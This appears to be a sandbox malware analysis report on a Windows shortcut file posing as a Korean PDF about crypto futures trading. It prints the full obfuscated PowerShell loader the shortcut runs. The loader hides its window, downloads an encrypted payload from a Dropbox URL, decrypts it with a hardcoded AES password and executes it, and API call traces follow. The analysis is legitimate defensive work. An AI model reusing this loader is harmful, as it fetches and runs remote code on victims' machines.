popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

코인 선물 트레이딩 비법서, 수익률 증폭의 핵심 원리.pdf.lnk

Generic Malware PDF Suspicious Link Antivirus GIF Format AntiDebug Lnk Format AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Oct. 14, 2024, 10:50 a.m. Oct. 14, 2024, 10:53 a.m.
Size 10.0MB
Type MS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5 4e317495e0c2ae3e46a9f7a810184b30
SHA256 af0b9aea91b2ea6567fbd4ba19839b42b05e0a7ef0da4f497505f998ca3c0503
CRC32 6C65DFD4
ssdeep 196608:P1+ur2BgE2ARK5vW7+aknIf+FlSV4n9H/K6odF351W:zIFRewIlSV4RK6kp5E
Yara
  • PDF_Suspicious_Link_Z - PDF Suspicious Link
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Lnk_Format_Zero - LNK Format

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "ZVhXA" "C:\Users\test22\AppData\Local\Temp\코인 선물 트레이딩 비법서, 수익률 증폭의 핵심 원리.pdf.lnk"

    3036

    • cmd.exe "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$tmp = 'C:\Users\test22\AppData\Local\Temp';$lnkxxxxxxxxxxxxxxxx = 0x009FD0E0;$len1 = 1053892;$len2 = 10458736;$len3 = 10458736;$alis=@('morySt','898','Derive');$ms=-join ('Me',$alis[0],'ream');$rf=-join('Rfc2',$alis[1],$alis[2],'Bytes');$str=@($ms,'rypto',$rf, 'esManag', 'rea');$rep=@('msx','rx','RFDB','mang','ff');$def='using System;using System.IO;using System.Security.Crxgraphy;public class Init{public static Byte[] Dec(Byte[] inBytes,string pwd){msx im=new msx(inBytes);Byte[] s=new Byte[32];int len=im.Read(s,0,s.Length);if(len!=s.Length){return null;}RFDB pbk=new RFDB(pwd,s);Byte[] key=pbk.GetBytes(32);Byte[] iv=pbk.GetBytes(16);Amanged ma=new Amanged();ICrxTransform Dec=ma.CffteDecrxr(key,iv);CrxStffm cs=new CrxStffm(im,Dec,0);msx om=new msx();cs.CopyTo(om);om.Dispose();return om.ToArray();}}';$i=0;$a=1;$p='hoop';$s=@(':','s:');$r=$p -replace 'o','t';foreach($item in $rep){$def=$def -replace $item,$str[$i];$i++;}Add-Type -TypeDefinition $def;$pwd='pa55w0rd';$uh='dl.dropboxusercontent.com/scl/fi/';$agent=('Mozilla/5.0','(Windows NT 10.0; Win64; x64)','AppleWebKit/537.36','(KHTML,like Gecko)','Chrome/104.0.0.0','Safari/537.36') -join ' ';$r=-join ($r,$s[$a],'//',$uh);$ui=$r+'unk6wfun4ys2hyoekf00w/ad_ps.bin?rlkey=tzje3yre9hcve3i3b62pur1ou&st=d0n1avij&dl=0';$req=@{uri=$ui;useragent=$agent};try{[Byte[]]$bytes=(wget @req).content;} catch {if($a -eq 1){$ui=$ui -replace $s[1],$s[0];$req=@{uri=$ui;useragent=$agent};[Byte[]]$bytes=(wget @req).content;}}[Byte[]]$decbytes=[Init]::Dec($bytes,$pwd);$sc=[System.Text.Encoding]::ASCII.GetString($decbytes);iex -command $sc;"

      2184

      • powershell.exe powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$tmp = 'C:\Users\test22\AppData\Local\Temp';$lnkxxxxxxxxxxxxxxxx = 0x009FD0E0;$len1 = 1053892;$len2 = 10458736;$len3 = 10458736;$alis=@('morySt','898','Derive');$ms=-join ('Me',$alis[0],'ream');$rf=-join('Rfc2',$alis[1],$alis[2],'Bytes');$str=@($ms,'rypto',$rf, 'esManag', 'rea');$rep=@('msx','rx','RFDB','mang','ff');$def='using System;using System.IO;using System.Security.Crxgraphy;public class Init{public static Byte[] Dec(Byte[] inBytes,string pwd){msx im=new msx(inBytes);Byte[] s=new Byte[32];int len=im.Read(s,0,s.Length);if(len!=s.Length){return null;}RFDB pbk=new RFDB(pwd,s);Byte[] key=pbk.GetBytes(32);Byte[] iv=pbk.GetBytes(16);Amanged ma=new Amanged();ICrxTransform Dec=ma.CffteDecrxr(key,iv);CrxStffm cs=new CrxStffm(im,Dec,0);msx om=new msx();cs.CopyTo(om);om.Dispose();return om.ToArray();}}';$i=0;$a=1;$p='hoop';$s=@(':','s:');$r=$p -replace 'o','t';foreach($item in $rep){$def=$def -replace $item,$str[$i];$i++;}Add-Type -TypeDefinition $def;$pwd='pa55w0rd';$uh='dl.dropboxusercontent.com/scl/fi/';$agent=('Mozilla/5.0','(Windows NT 10.0; Win64; x64)','AppleWebKit/537.36','(KHTML,like Gecko)','Chrome/104.0.0.0','Safari/537.36') -join ' ';$r=-join ($r,$s[$a],'//',$uh);$ui=$r+'unk6wfun4ys2hyoekf00w/ad_ps.bin?rlkey=tzje3yre9hcve3i3b62pur1ou&st=d0n1avij&dl=0';$req=@{uri=$ui;useragent=$agent};try{[Byte[]]$bytes=(wget @req).content;} catch {if($a -eq 1){$ui=$ui -replace $s[1],$s[0];$req=@{uri=$ui;useragent=$agent};[Byte[]]$bytes=(wget @req).content;}}[Byte[]]$decbytes=[Init]::Dec($bytes,$pwd);$sc=[System.Text.Encoding]::ASCII.GetString($decbytes);iex -command $sc;"

        292

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Add-Type : c:\Users\test22\AppData\Local\Temp\5hlmrpb4.0.cs(1) : The type or na
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: mespace name 'AesManaged' could not be found (are you missing a using directive
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: or an assembly reference?)
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: c:\Users\test22\AppData\Local\Temp\5hlmrpb4.0.cs(1) : >>> using System;using Sy
console_handle: 0x0000004b
1 1 0

WriteConsoleW

 buffer: stem.IO;using System.Security.Cryptography;public class Init{public static Byte
console_handle: 0x00000057
1 1 0

WriteConsoleW

 buffer: [] Dec(Byte[] inBytes,string pwd){MemoryStream im=new MemoryStream(inBytes);Byt
console_handle: 0x00000063
1 1 0

WriteConsoleW

 buffer: e[] s=new Byte[32];int len=im.Read(s,0,s.Length);if(len!=s.Length){return null;
console_handle: 0x0000006f
1 1 0

WriteConsoleW

 buffer: }Rfc2898DeriveBytes pbk=new Rfc2898DeriveBytes(pwd,s);Byte[] key=pbk.GetBytes(3
console_handle: 0x0000007b
1 1 0

WriteConsoleW

 buffer: 2);Byte[] iv=pbk.GetBytes(16);AesManaged ma=new AesManaged();ICryptoTransform D
console_handle: 0x00000087
1 1 0

WriteConsoleW

 buffer: ec=ma.CreateDecryptor(key,iv);CryptoStream cs=new CryptoStream(im,Dec,0);Memory
console_handle: 0x00000093
1 1 0

WriteConsoleW

 buffer: Stream om=new MemoryStream();cs.CopyTo(om);om.Dispose();return om.ToArray();}}
console_handle: 0x0000009f
1 1 0

WriteConsoleW

 buffer: At line:1 char:948
console_handle: 0x000000af
1 1 0

WriteConsoleW

 buffer: + $tmp = 'C:\Users\test22\AppData\Local\Temp';$lnkxxxxxxxxxxxxxxxx = 0x009FD0E0
console_handle: 0x000000bb
1 1 0

WriteConsoleW

 buffer: ;$len1 = 1053892;$len2 = 10458736;$len3 = 10458736;$alis=@('morySt','898
console_handle: 0x000000c7
1 1 0

WriteConsoleW

 buffer: ','Derive');$ms=-join ('Me',$alis[0],'ream');$rf=-join('Rfc2',$alis[1],$alis[2]
console_handle: 0x000000d3
1 1 0

WriteConsoleW

 buffer: ,'Bytes');$str=@($ms,'rypto',$rf, 'esManag', 'rea');$rep=@('msx','rx','RFDB','m
console_handle: 0x000000df
1 1 0

WriteConsoleW

 buffer: ang','ff');$def='using System;using System.IO;using System.Security.Crxgraphy;p
console_handle: 0x000000eb
1 1 0

WriteConsoleW

 buffer: ublic class Init{public static Byte[] Dec(Byte[] inBytes,string pwd){msx im=new
console_handle: 0x000000f7
1 1 0

WriteConsoleW

 buffer: msx(inBytes);Byte[] s=new Byte[32];int len=im.Read(s,0,s.Length);if(len!=s.Len
console_handle: 0x00000103
1 1 0

WriteConsoleW

 buffer: gth){return null;}RFDB pbk=new RFDB(pwd,s);Byte[] key=pbk.GetBytes(32);Byte[] i
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: v=pbk.GetBytes(16);Amanged ma=new Amanged();ICrxTransform Dec=ma.CffteDecrxr(ke
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: y,iv);CrxStffm cs=new CrxStffm(im,Dec,0);msx om=new msx();cs.CopyTo(om);om.Disp
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: ose();return om.ToArray();}}';$i=0;$a=1;$p='hoop';$s=@(':','s:');$r=$p -replace
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: 'o','t';foreach($item in $rep){$def=$def -replace $item,$str[$i];$i++;}Add-Typ
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: e <<<< -TypeDefinition $def;$pwd='pa55w0rd';$uh='dl.dropboxusercontent.com/scl
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: /fi/';$agent=('Mozilla/5.0','(Windows NT 10.0; Win64; x64)','AppleWebKit/537.36
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: ','(KHTML,like Gecko)','Chrome/104.0.0.0','Safari/537.36') -join ' ';$r=-join (
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: $r,$s[$a],'//',$uh);$ui=$r+'unk6wfun4ys2hyoekf00w/ad_ps.bin?rlkey=tzje3yre9hcve
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: 3i3b62pur1ou&st=d0n1avij&dl=0';$req=@{uri=$ui;useragent=$agent};try{[Byte[]]$by
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: tes=(wget @req).content;} catch {if($a -eq 1){$ui=$ui -replace $s[1],$s[0];$req
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: =@{uri=$ui;useragent=$agent};[Byte[]]$bytes=(wget @req).content;}}[Byte[]]$decb
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: ytes=[Init]::Dec($bytes,$pwd);$sc=[System.Text.Encoding]::ASCII.GetString($decb
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: ytes);iex -command $sc;
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidData: (c:\Users\test22...bly reference?):
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: CompilerError) [Add-Type], Exception
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : SOURCE_CODE_ERROR,Microsoft.PowerShell.Commands.
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: AddTypeCommand
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: Add-Type : c:\Users\test22\AppData\Local\Temp\5hlmrpb4.0.cs(1) : The type or na
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: mespace name 'AesManaged' could not be found (are you missing a using directive
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: or an assembly reference?)
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: c:\Users\test22\AppData\Local\Temp\5hlmrpb4.0.cs(1) : >>> using System;using Sy
console_handle: 0x00000223
1 1 0

WriteConsoleW

 buffer: stem.IO;using System.Security.Cryptography;public class Init{public static Byte
console_handle: 0x0000022f
1 1 0

WriteConsoleW

 buffer: [] Dec(Byte[] inBytes,string pwd){MemoryStream im=new MemoryStream(inBytes);Byt
console_handle: 0x0000023b
1 1 0

WriteConsoleW

 buffer: e[] s=new Byte[32];int len=im.Read(s,0,s.Length);if(len!=s.Length){return null;
console_handle: 0x00000247
1 1 0

WriteConsoleW

 buffer: }Rfc2898DeriveBytes pbk=new Rfc2898DeriveBytes(pwd,s);Byte[] key=pbk.GetBytes(3
console_handle: 0x00000253
1 1 0

WriteConsoleW

 buffer: 2);Byte[] iv=pbk.GetBytes(16);AesManaged ma=new AesManaged();ICryptoTransform D
console_handle: 0x0000025f
1 1 0

WriteConsoleW

 buffer: ec=ma.CreateDecryptor(key,iv);CryptoStream cs=new CryptoStream(im,Dec,0);Memory
console_handle: 0x0000026b
1 1 0

WriteConsoleW

 buffer: Stream om=new MemoryStream();cs.CopyTo(om);om.Dispose();return om.ToArray();}}
console_handle: 0x00000277
1 1 0

WriteConsoleW

 buffer: At line:1 char:948
console_handle: 0x00000287
1 1 0

WriteConsoleW

 buffer: + $tmp = 'C:\Users\test22\AppData\Local\Temp';$lnkxxxxxxxxxxxxxxxx = 0x009FD0E0
console_handle: 0x00000293
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ed08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ea48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ea48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ea48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e648
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ec48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ec48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ec48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e808
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ec48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ec48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ec48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ec48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ec48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ec48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ec48
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045eb08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e288
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045e288
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ebc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ebc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ebc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ebc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ebc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ebc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ebc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ebc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ebc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0045ebc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 851968
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02600000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02690000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 292
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73921000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0263a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 292
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73922000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02632000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02642000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02691000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02692000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02643000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02644000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0267b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02677000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0263b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02662000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02675000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02645000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02646000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0267c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02663000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02664000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02665000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02666000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02667000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02668000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02669000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 292
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b10000
